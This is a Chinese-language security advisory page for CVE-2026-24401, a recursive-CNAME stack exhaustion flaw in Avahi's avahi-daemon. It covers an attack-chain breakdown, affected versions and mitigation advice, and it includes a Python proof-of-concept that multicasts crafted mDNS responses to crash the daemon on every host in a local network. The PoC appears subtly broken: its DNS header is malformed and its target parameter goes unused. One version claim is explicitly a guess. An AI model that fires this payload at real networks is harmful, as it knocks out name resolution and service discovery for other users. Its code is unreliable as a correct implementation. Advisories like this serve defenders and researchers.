IPBUF安全漏洞报告
English
CVE-2026-24401 CVSS 6.5 中危

CVE-2026-24401 Avahi avahi-daemon递归CNAME记录栈溢出拒绝服务漏洞

披露日期: 2026-01-24

漏洞信息

漏洞编号
CVE-2026-24401
漏洞类型
拒绝服务/栈溢出/无限递归
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Avahi (avahi-daemon)

相关标签

CVE-2026-24401AvahimDNSDNS-SDCNAME拒绝服务栈溢出无限递归avahi-daemonnss-mdns

漏洞概述

Avahi是一款开源的系统级软件,用于在本地网络上通过mDNS/DNS-SD协议套件进行服务发现。该漏洞影响Avahi 0.9rc2及以下版本。攻击者可以通过发送包含递归CNAME记录的未经请求的mDNS响应来触发漏洞,当CNAME记录的别名和规范名称指向相同域名时(例如将'h.local'作为'h.local'的CNAME),会导致avahi-daemon进程崩溃。漏洞的根本原因在于lookup_handle_cname函数在处理此类递归CNAME记录时缺乏适当的循环检测机制,导致无限递归,最终造成栈耗尽并引发段错误(Segmentation Fault)。该漏洞特别影响设置了AVAHI_LOOKUP_USE_MULTICAST标志的记录浏览器,包括由nss-mdns使用的解析器创建的那些记录浏览器。攻击者需要诱骗用户或系统访问恶意mDNS响应即可实现拒绝服务攻击。

技术细节

该漏洞的根本原因是Avahi的lookup_handle_cname函数在处理CNAME记录时缺少循环检测机制。当收到一个CNAME记录,其别名和目标名称相同时(如CNAME 'h.local' -> 'h.local'),函数会将其视为新的查询继续处理,导致无限递归。每次递归调用都会在栈上分配新的栈帧,最终耗尽栈空间并触发栈溢出。在mDNS/DNS-SD协议中,CNAME记录用于创建域名别名,正常的CNAME链应该最终解析到一个实际存在的记录(如A记录或AAAA记录)。然而,当CNAME记录指向自身时,形成了一个无法终止的递归循环。Avahi在0.9rc2及之前版本中,lookup_handle_cname函数没有检测CNAME链中是否存在循环引用,导致每次解析都重复处理同一个CNAME记录。攻击者只需在局域网中发送一个特制的mDNS响应包,包含恶意的递归CNAME记录,即可触发该漏洞。受影响的系统包括使用Avahi进行服务发现的所有Linux发行版,特别是那些启用了nss-mdns进行mDNS名称解析的系统。

攻击链分析

STEP 1
步骤1: 侦察阶段
攻击者扫描目标网络,发现运行Avahi服务的设备。通过监听mDNS多播流量或查询特定服务记录来识别潜在目标。
STEP 2
步骤2: 准备阶段
攻击者构造包含递归CNAME记录的恶意mDNS响应包。CNAME记录指向相同的域名(如'h.local'作为'h.local'的别名),形成无限循环。
STEP 3
步骤3: 攻击执行
攻击者向mDNS多播地址(224.0.0.251:5353)发送特制的mDNS响应包。数据包被转发到目标局域网的所有设备。
STEP 4
步骤4: 漏洞触发
目标系统上的avahi-daemon接收到恶意mDNS响应后,调用lookup_handle_cname函数处理递归CNAME记录。由于缺少循环检测,函数进入无限递归。
STEP 5
步骤5: 拒绝服务
无限递归导致栈空间耗尽,触发栈溢出,最终造成avahi-daemon进程段错误崩溃。系统失去mDNS/DNS-SD服务发现能力。
STEP 6
步骤6: 影响扩大
avahi-daemon崩溃后依赖其进行名称解析的服务(如nss-mdns)将无法正常工作,可能影响网络打印、文件共享等服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct import time # mDNS constants MDNS_MULTICAST_IP = "224.0.0.251" MDNS_PORT = 5353 def create_mdns_header(transaction_id): """Create mDNS header""" return struct.pack('>HHHH', transaction_id, 0x8400, 1, 0) def create_cname_record(name): """Create a CNAME record that points to itself (recursive CNAME)""" name_bytes = b'' for part in name.split('.'): name_bytes += struct.pack('B', len(part)) + part.encode() name_bytes += b'\x00' # Null terminator # CNAME record: name + type(CNAME=5) + class(IN=1) + ttl + rdlength + rdata return name_bytes + struct.pack('>HHIH', 5, 0x0001, 300, len(name_bytes)) + name_bytes def send_malicious_mdns_response(target_ip, recursive_cname): """ Send malicious mDNS response with recursive CNAME record to trigger CVE-2026-24401 """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.settimeout(5) transaction_id = 0x1234 header = create_mdns_header(transaction_id) # Questions section (empty for response) questions = b'' # Answers section with recursive CNAME answers = create_cname_record(recursive_cname) # Additional records section (optional) additional = b'' dns_packet = header + questions + answers + additional # Send to mDNS multicast address sock.sendto(dns_packet, (MDNS_MULTICAST_IP, MDNS_PORT)) print(f"[+] Sent malicious mDNS response with recursive CNAME: {recursive_cname}") print(f"[+] Packet size: {len(dns_packet)} bytes") sock.close() if __name__ == "__main__": print("CVE-2026-24401 PoC - Avahi recursive CNAME DoS") print("=" * 50) # Target: any local hostname that will be queried target_hostname = "h.local" # Send multiple packets to increase likelihood of triggering the bug for i in range(5): send_malicious_mdns_response(MDNS_MULTICAST_IP, target_hostname) time.sleep(0.1) print("[+] Attack completed. Target avahi-daemon should crash.")

影响范围

Avahi 0.9rc2及以下所有版本
Avahi 0.8及之前版本(推测)
使用Avahi的Linux发行版默认安装(Debian、Ubuntu、Fedora、RHEL、CentOS等)
nss-mdns配合Avahi使用的配置

防御指南

临时缓解措施
临时缓解措施:在防火墙规则中限制mDNS流量,阻止来自不可信来源的mDNS响应包;或者禁用不必要的mDNS记录浏览器服务,减少攻击面。如果业务允许,可以暂时停止avahi-daemon服务,但这会影响本地网络的服务发现功能。建议优先升级到修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表